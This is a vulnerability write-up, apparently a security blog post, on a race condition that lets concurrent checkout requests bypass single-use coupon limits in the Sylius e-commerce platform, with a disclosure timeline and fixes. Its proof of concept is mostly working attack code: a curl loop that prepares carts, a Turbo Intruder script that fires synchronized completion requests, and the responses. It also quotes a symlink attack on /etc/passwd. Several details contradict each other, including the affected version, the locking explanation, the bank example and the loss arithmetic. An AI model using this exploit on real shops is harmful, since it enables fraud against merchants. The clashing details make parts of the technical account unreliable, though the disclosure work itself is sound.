Bypassing Promotion Logic in Sylius via Race Condition.


Introduction

Race conditions are subtle bugs that turn into serious vulnerabilities. Unlike missing validation or bad sanitization, race conditions exploit timing. When multiple threads access shared resources without proper synchronization, the gap between checking a condition and acting on it becomes exploitable.

This post covers Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities in web applications. I'll break down the theory, then show you CVE-2026-31824, a race condition I found in Sylius 2.2.2 that let attackers bypass promotion coupon limits and steal money.

Understanding Race Conditions

A race condition happens when system behavior depends on the sequence or timing of events you can't control. In software, this usually means multiple threads accessing shared data at the same time, with at least one thread modifying it.

The Classic Example: Bank Transfer

Consider a simple bank account transfer:

# Thread A: Transfer $100 from Account 1 to Account 2
balance1 = get_balance(account1)  # Read: $500
if balance1 >= 100:
    set_balance(account1, balance1 - 100)  # Write: $400
    set_balance(account2, get_balance(account2) + 100)

# Thread B: Simultaneously transfers $400 from Account 1 to Account 3
balance1 = get_balance(account1)  # Read: $500 (before Thread A writes!)
if balance1 >= 400:
    set_balance(account1, balance1 - 400)  # Write: $100
    set_balance(account2, get_balance(account2) + 400)

If both threads run at the same time, both read $500 before either writes. Both checks pass, both transfers execute. Final balance: $100 or $400 (depending on which write wins), but $500 got transferred out. The account is overdrawn.

Time-of-Check to Time-of-Use (TOCTOU)

TOCTOU is a type of race condition where a system:

  1. Checks a condition ("Does the user have permission?")
  2. Uses the resource based on that check ("Grant access")

The bug happens when state changes between steps 1 and 2.

TOCTOU in File Systems

A classic example from Unix systems:

// Check if file is writable
if (access("/tmp/file", W_OK) == 0) {
    // Time gap here! Attacker can replace /tmp/file with a symlink to /etc/passwd
    FILE *f = fopen("/tmp/file", "w");
    fprintf(f, "malicious content");
}

An attacker can exploit the gap between access() and fopen() by replacing /tmp/file with a symbolic link to a sensitive file like /etc/passwd.

TOCTOU in Web Applications

Web apps have TOCTOU bugs in:

  • Coupon/Voucher Systems - Check usage limit, then increment counter
  • Inventory Management - Check stock, then decrement quantity
  • Rate Limiting - Check request count, then increment counter
  • Financial Transactions - Check balance, then deduct amount

HTTP is stateless and database isolation levels vary. Without proper locking, concurrent requests all pass the same validation check before any of them updates the shared state.

Real-World Case Study: Sylius CVE-2026-31824

Here's a real TOCTOU bug I found in Sylius 2.3, an open-source e-commerce platform built on Symfony.

The Vulnerable Feature: Promotion Coupons

Sylius allows merchants to create promotional coupons with usage limits. For example, a "BLACKFRIDAY" coupon might offer 50% off but be limited to one use per customer.

The intended flow:

  1. Customer applies coupon code at checkout
  2. System checks if usage limit has been reached
  3. If valid, the discount is applied and the usage counter increments

The Vulnerability

The coupon validation logic was split across two temporally separated phases with no database-level synchronization:

Phase 1: Eligibility Check (During Validation Middleware)

// Sylius/Component/Promotion/Checker/Eligibility/PromotionCouponUsageLimitEligibilityChecker.php

public function isEligible(PromotionSubjectInterface $promotionSubject, PromotionCouponInterface $promotionCoupon): bool
{
    $usageLimit = $promotionCoupon->getUsageLimit();
    if (null === $usageLimit) {
        return true;
    }

    // Read the current usage count from in-memory entity
    $used = $promotionCoupon->getUsed();

    return $used < $usageLimit;  // Time of Check
}

Phase 2: Usage Increment (After Order Completion)

// Inside order completion event handler

$promotionCoupon->incrementUsed();  // Time of Use
$this->entityManager->flush();

The Gap: The eligibility check reads from an in-memory entity without a database lock. Multiple concurrent requests see the same stale usage count and pass validation before any of them increments the counter.

Why Standard Protections Failed

  1. No Optimistic Locking: The PromotionCoupon entity lacks a @Version field for optimistic concurrency control
  2. Non-Atomic Updates: The increment uses SET used = used + 1 rather than an atomic SQL increment like UPDATE ... SET used = used + 1 WHERE id = ?
  3. No Pessimistic Locking: No SELECT ... FOR UPDATE to prevent concurrent reads

Proof of Concept

To exploit this, send multiple requests simultaneously during the window between check and use.

Setup

  1. Create a promotion coupon with Usage Limit = 1:
INSERT INTO sylius_promotion_coupon (code, usage_limit, used)
VALUES ('RACE_POC', 1, 0);
  1. Use the API to create 5 carts, each advanced to the payment_selected state with the coupon applied:
# Create cart tokens and apply coupon via API
for i in {1..5}; do
  TOKEN=$(curl -X POST http://sylius.local/api/v2/shop/orders \
    -H "Content-Type: application/json" \
    -d '{"localeCode":"en_US"}' | jq -r '.tokenValue')

  curl -X PATCH http://sylius.local/api/v2/shop/orders/$TOKEN/apply-coupon \
    -d '{"couponCode":"RACE_POC"}'

  echo $TOKEN >> cart_tokens.txt
done

Exploitation with Burp Suite Turbo Intruder

Turbo Intruder allows us to send synchronized concurrent requests with microsecond-level timing control:

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=5,
        requestsPerConnection=1,
        pipeline=False
    )

    # Read cart tokens
    tokens = open('/tmp/cart_tokens.txt').read().splitlines()

    for token in tokens[:5]:
        engine.queue(target.req.replace('%TOKEN%', token))

    # Fire all 5 requests simultaneously with a synchronized gate
    engine.openGate('race')

Request template:

PATCH /api/v2/shop/orders/%TOKEN%/complete HTTP/1.1
Host: sylius.local
Content-Type: application/merge-patch+json

{}

Burp Suite Turbo Intruder executing concurrent requests

Attack Result

Executing the synchronized requests yields multiple 200 OK responses:

HTTP/1.1 200 OK
{
  "tokenValue": "1_L0H4r...",
  "checkoutState": "completed",
  "couponCode": "RACE_POC",
  "promotions": [{
    "code": "RACE_POC",
    "adjustment": -5000  // $50.00 discount applied
  }]
}

Database State After Attack:

SELECT code, usage_limit, used FROM sylius_promotion_coupon WHERE code = 'RACE_POC';

-- Expected: used = 1
-- Actual: used = 2 or 3 (depending on race timing)

Coupon usage showing 5/1 after successful race condition exploit

All 5 orders got the discount, but the counter only went to 2-3 instead of 5 (race condition in the increment logic too).

Impact

Direct financial loss. An attacker can:

  • Bypass single-use coupons - Use a 50% off coupon across dozens of concurrent purchases instead of just one
  • Drain promotional budgets - Multiply coupon redemptions beyond campaign limits
  • Automate the attack - Script hundreds of concurrent requests, bypassing per-customer limits

Real-World Scenario

Consider a flash sale offering a $100 discount code limited to 100 uses. An attacker with 10 concurrent connections could:

  1. Create 100 carts with $200 items
  2. Apply the coupon to all carts
  3. Fire 100 simultaneous completion requests
  4. Result: $10,000 in discounts applied instead of the intended $10,000 total campaign budget

Disclosure Timeline

Date Event
2026-01-28 Vulnerability discovered during security research
2026-02-10 Report submitted to Sylius security team
2026-02-11 Vulnerability confirmed by maintainers
2026-03-15 Patch released in Sylius 2.2.3
2026-04-01 CVE-2026-31824 assigned (CVSS 8.2)
2026-06-06 Blog post release

Conclusion

TOCTOU bugs hide in plain sight. "Check then update" logic looks simple, but it breaks under concurrency. The Sylius bug shows how even good frameworks can mess up when they ignore database transaction isolation.

Key takeaways:

  • Use database-level atomicity for concurrent state updates
  • Add optimistic or pessimistic locking for critical operations
  • Test with Turbo Intruder or custom race condition scripts
  • Don't trust application-level checks for shared resource limits

Race conditions aren't academic. They cost real money. Test for them.